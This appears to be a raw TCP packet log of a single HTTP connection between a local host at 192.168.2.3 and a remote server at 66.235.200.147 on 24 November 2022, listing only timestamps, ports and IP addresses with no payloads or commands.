Nov 24, 2022 16:57:36.644495964 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.644530058 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.644534111 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.644571066 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.644598961 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.644607067 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.644642115 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.644665003 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.644681931 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.644736052 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.645256042 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.645370007 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.645409107 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.645443916 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.645464897 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.645477057 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.645513058 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.645536900 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.645548105 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.645581961 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.645606041 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.645617962 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.645679951 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.646300077 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.646347046 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.646373987 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.646400928 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.646414042 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.646428108 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.646455050 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.646457911 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.646491051 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.646517992 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.646522045 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.646578074 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.647281885 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.647315979 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.647342920 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.647370100 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.647371054 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.647399902 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.647427082 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.647428036 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.647454977 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.647481918 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.647483110 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.647540092 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.648200035 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.648236990 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.648262024 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.648288965 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.648288012 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.648315907 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.648343086 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.648343086 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.648370981 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.648394108 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.648397923 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.648454905 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.649132013 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.649164915 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.649226904 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.649401903 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.649434090 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.649466991 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.649494886 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.649496078 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.649528027 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.649555922 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.649558067 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.649590015 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.649616957 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.649620056 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.649686098 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.650341988 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.650373936 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.650403976 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.650433064 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.650434017 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.650463104 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.650487900 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.650494099 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.650527000 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.650554895 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.650556087 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.650614977 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.651313066 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.651344061 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.651374102 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.651403904 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.651418924 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.651433945 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.651457071 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.651465893 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.651498079 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.651524067 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.651527882 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.651591063 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.652283907 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.652328014 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.652359962 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.652388096 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.652390003 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.652421951 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.652446985 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.652467966 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.652496099 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.652523041 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.652523994 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.652584076 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.653203964 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.653240919 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.653362036 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.653394938 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.653426886 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.653453112 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.653472900 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.653495073 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.653522968 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.653527021 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.653563976 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.653639078 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.654104948 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.654153109 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.654192924 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.654234886 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.654273987 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.654311895 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.654351950 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.654396057 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.654433966 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.654476881 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.654565096 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.655498028 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.655525923 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.655550003 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.655571938 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.655571938 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.655596972 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.655611038 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.655622959 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.655651093 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.655663013 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.655675888 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.655700922 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.655711889 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.655725956 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.655752897 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.656208038 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.656229973 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.656249046 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.656269073 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.656276941 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.656289101 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.656306028 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.656306982 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.656326056 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.656331062 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.656343937 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.656363964 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.656380892 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.656383038 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.656407118 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.656913042 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.656933069 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.656950951 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.656976938 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.657007933 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.657237053 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.657342911 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.657361031 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.657378912 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.657397032 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.657401085 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.657416105 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.657433033 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.657438993 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.657457113 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.657465935 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.657476902 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.657495975 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.657510996 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.657546043 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.658107996 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.658145905 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.658164024 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.658181906 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.658200026 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.658205986 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.658220053 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.658236980 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.658241034 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.658260107 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.658277988 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.658286095 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.658297062 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.658314943 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.658346891 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.659151077 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.659171104 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.659188032 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.659205914 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.659224033 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.659241915 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.659254074 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.659254074 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.659259081 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.659279108 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.659291983 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.659298897 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.659317970 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.659333944 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.659372091 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.659977913 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.659997940 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.660015106 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.660033941 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.660083055 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.660101891 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.660104036 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.660121918 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.660140038 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.660157919 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.660173893 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.660177946 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.660206079 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.660235882 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.660286903 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.660900116 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.660917997 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.660933971 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.660952091 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.660969019 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.660985947 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.660995007 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.660995007 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.661005974 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.661026955 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.661032915 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.661051035 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.661072016 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.661092997 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.661120892 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.661544085 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.661845922 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.661864996 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.661880970 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.661892891 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.661910057 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.661926031 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.661942005 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.661942959 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.661961079 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.661978960 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.661979914 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.661979914 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.661999941 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.662012100 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.662122965 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.662375927 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.662754059 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.662782907 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.662811041 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.662832975 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.662842035 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.662859917 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.662889004 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.662895918 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.662921906 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.662945032 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.662954092 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.662967920 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.662992954 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.663005114 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.663041115 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.663609982 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.663638115 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.663664103 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.663690090 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.663700104 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.663717031 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.663738012 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.663747072 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.663774967 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.663800955 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.663805962 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.663827896 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.663855076 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.663863897 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.663924932 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.664446115 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.664475918 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.664503098 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.664530993 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.664535999 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.664556980 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.664585114 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.664587975 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.664613962 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.664640903 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.664642096 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.664668083 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.664696932 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.664699078 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.664724112 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.664752960 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.665385962 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.665407896 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.665426016 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.665443897 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.665446997 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.665462017 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.665476084 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.665482998 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.665498972 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.665501118 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.665520906 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.665539980 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.665556908 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.665566921 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.665576935 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.665596008 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.665633917 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.666194916 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.666214943 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.666232109 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.666251898 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.666270018 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.666287899 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.666299105 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.666309118 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.666327953 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.666328907 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.666346073 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.666353941 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.666364908 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.666378021 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.666384935 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.666404963 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.666423082 CET	49713	80	192.168.2.3	66.235.200.147
